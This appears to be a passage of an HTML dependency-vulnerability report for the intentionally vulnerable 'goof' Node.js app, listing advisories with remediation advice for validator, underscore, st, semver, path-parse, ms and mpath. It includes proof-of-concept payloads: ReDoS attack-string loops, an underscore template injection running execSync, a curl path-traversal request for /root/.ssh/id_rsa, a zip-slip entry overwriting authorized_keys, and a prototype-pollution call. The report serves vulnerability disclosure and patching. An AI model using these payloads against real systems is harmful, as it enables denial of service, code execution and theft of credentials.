$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade validator to version 13.7.0 or higher.

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + validator +
  • + +
  • Introduced through: + + goof@1.0.1 and validator@13.5.2 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + validator@13.5.2 + + + +
  • +
+ +
+ +
+ +

Overview

+

validator is a library of string validators and sanitizers.

+

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isHSL function.

+

PoC

+
var validator = require("validator")
+        function build_attack(n) {
+            var ret = "hsla(0"
+            for (var i = 0; i < n; i++) {
+                ret += " "
+            }
+        
+            return ret+"◎";
+        }
+        for(var i = 1; i <= 50000; i++) {
+            if (i % 1000 == 0) {
+                var time = Date.now();
+                var attack_str = build_attack(i)
+               validator.isHSL(attack_str)
+                var time_cost = Date.now() - time;
+                console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
+           }
+        }
+        
+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade validator to version 13.6.0 or higher.

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + validator +
  • + +
  • Introduced through: + + goof@1.0.1 and validator@13.5.2 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + validator@13.5.2 + + + +
  • +
+ +
+ +
+ +

Overview

+

validator is a library of string validators and sanitizers.

+

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isEmail function.

+

PoC

+
var validator = require("validator")
+        function build_attack(n) {
+            var ret = ""
+            for (var i = 0; i < n; i++) {
+                ret += "<"
+            }
+        
+            return ret+"";
+        }
+        for(var i = 1; i <= 50000; i++) {
+            if (i % 10000 == 0) {
+                var time = Date.now();
+                var attack_str = build_attack(i)
+                validator.isEmail(attack_str,{ allow_display_name: true })
+                var time_cost = Date.now() - time;
+                console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
+           }
+        }
+        
+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade validator to version 13.6.0 or higher.

+

References

+ + +
+ + + +
+
+

Arbitrary Code Injection

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + underscore +
  • + +
  • Introduced through: + + + goof@1.0.1, cfenv@1.2.2 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + cfenv@1.2.2 + + underscore@1.9.1 + + + +
  • +
+ +
+ +
+ +

Overview

+

underscore is a JavaScript's functional programming helper library.

+

Affected versions of this package are vulnerable to Arbitrary Code Injection via the template function, particularly when the variable option is taken from _.templateSettings as it is not sanitized.

+

PoC

+
const _ = require('underscore');
+        _.templateSettings.variable = "a = this.process.mainModule.require('child_process').execSync('touch HELLO')";
+        const t = _.template("")();
+        
+

Remediation

+

Upgrade underscore to version 1.13.0-2, 1.12.1 or higher.

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + uglify-js +
  • + +
  • Introduced through: + + + goof@1.0.1, hbs@4.0.4 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + hbs@4.0.4 + + handlebars@4.0.14 + + uglify-js@3.13.9 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-reports@1.4.0 + + handlebars@4.0.11 + + uglify-js@2.8.29 + + + +
  • +
+ +
+ +
+ +

Overview

+

uglify-js is a JavaScript parser, minifier, compressor and beautifier toolkit.

+

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the string_template and the decode_template functions.

+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade uglify-js to version 3.14.3 or higher.

+

References

+ + +
+ + + +
+
+

Directory Traversal

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + st +
  • + +
  • Introduced through: + + goof@1.0.1 and st@0.2.4 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + st@0.2.4 + + + +
  • +
+ +
+ +
+ +

Overview

+

Versions prior to 0.2.5 did not properly prevent path traversal. Literal dots in a path were resolved out, but url encoded dots were not. Thus, a request like /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd would leak sensitive files and data from the server.

+

As of version 0.2.5, any '/../' in the request path, urlencoded or not, will be replaced with '/'. If your application depends on url traversal, then you are encouraged to please refactor so that you do not depend on having .. in url paths, as this tends to expose data that you may be surprised to be exposing.

+

Details

+

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

+

Directory Traversal vulnerabilities can be generally divided into two types:

+
    +
  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
  • +
+

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

+

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

+
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
+        
+

Note %2e is the URL encoded version of . (dot).

+
    +
  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.
  • +
+

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

+

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

+
2018-04-15 22:04:29 .....           19           19  good.txt
+        2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys
+        
+

Remediation

+

Upgrade to version 0.2.5 or greater.

+

References

+ + +
+ + + +
+
+

Open Redirect

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + st +
  • + +
  • Introduced through: + + goof@1.0.1 and st@0.2.4 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + st@0.2.4 + + + +
  • +
+ +
+ +
+ +

Overview

+

st is a module for serving static files.

+

Affected versions of this package are vulnerable to Open Redirect. A malicious user could send a specially crafted request, which would automatically redirect the request to another domain, controlled by the attacker.

+

Note: st will only redirect if requests are served from the root(/) and not from a subdirectory

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + semver +
  • + +
  • Introduced through: + + + goof@1.0.1, npmconf@0.0.24 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + npmconf@0.0.24 + + semver@1.1.4 + + + +
  • +
+ +
+ +
+ +

Overview

+

semver is a semantic version parser used by npm.

+

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The semver module uses regular expressions when parsing a version string. For a carefully crafted input, the time it takes to process these regular expressions is not linear to the length of the input. Since the semver module did not enforce a limit on the version string length, an attacker could provide a long string that would take up a large amount of resources, potentially taking a server down. This issue therefore enables a potential Denial of Service attack.

+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade semver to version 4.3.2 or higher.

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + path-parse +
  • + +
  • Introduced through: + + + goof@1.0.1, tap@11.1.5 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-report@1.1.3 + + path-parse@1.0.5 + + + +
  • +
+ +
+ +
+ +

Overview

+

path-parse is a Node.js path.parse() ponyfill

+

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via splitDeviceRe, splitTailRe, and splitPathRe regular expressions. ReDoS exhibits polynomial worst-case time complexity.

+

PoC

+
var pathParse = require('path-parse');
+        function build_attack(n) {
+            var ret = ""
+            for (var i = 0; i < n; i++) {
+                ret += "/"
+            }
+            return ret + "◎";
+        }
+        
+        for(var i = 1; i <= 5000000; i++) {
+            if (i % 10000 == 0) {
+                var time = Date.now();
+                var attack_str = build_attack(i)
+                pathParse(attack_str);
+                var time_cost = Date.now() - time;
+                console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
+         }
+        }
+        
+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade path-parse to version 1.0.7 or higher.

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + ms +
  • + +
  • Introduced through: + + + goof@1.0.1, humanize-ms@1.0.1 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + humanize-ms@1.0.1 + + ms@0.6.2 + + + +
  • +
+ +
+ +
+ +

Overview

+

ms is a tiny milisecond conversion utility.

+

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) + attack when converting a time period string (i.e. "2 days", "1h") into a milliseconds integer. A malicious user could pass extremely long strings to ms(), causing the server to take a long time to process, subsequently blocking the event loop for that extended period.

+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade ms to version 0.7.1 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + mpath +
  • + +
  • Introduced through: + + + goof@1.0.1, mongoose@4.2.4 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + mongoose@4.2.4 + + mpath@0.1.1 + + + +
  • +
+ +
+ +
+ +

Overview

+

mpath is a package that gets/sets javascript object values using MongoDB-like path notation.

+

Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2018-16490. In particular, the condition ignoreProperties.indexOf(parts[i]) !== -1 returns -1 if parts[i] is ['__proto__']. This is because the method that has been called if the input is an array is Array.prototype.indexOf() and not String.prototype.indexOf(). They behave differently depending on the type of the input.

+

PoC

+
const mpath = require('mpath');
+        // mpath.set(['__proto__', 'polluted'], 'yes', {});
+        // console.log(polluted); // ReferenceError: polluted is not defined
+        
+        mpath.set([['__proto__'], 'polluted'], 'yes', {});
+        console.log(polluted); // yes
+        
+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

